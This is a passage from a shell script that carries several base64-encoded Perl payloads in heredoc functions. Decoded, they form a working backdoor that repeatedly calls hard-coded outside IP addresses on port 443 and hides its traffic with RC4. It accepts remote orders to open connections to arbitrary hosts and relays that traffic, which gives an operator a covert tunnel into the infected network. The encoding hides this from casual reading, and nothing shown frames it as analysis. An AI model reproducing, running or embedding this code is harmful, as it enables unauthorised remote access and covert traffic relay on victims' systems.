IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_62() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_63() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg 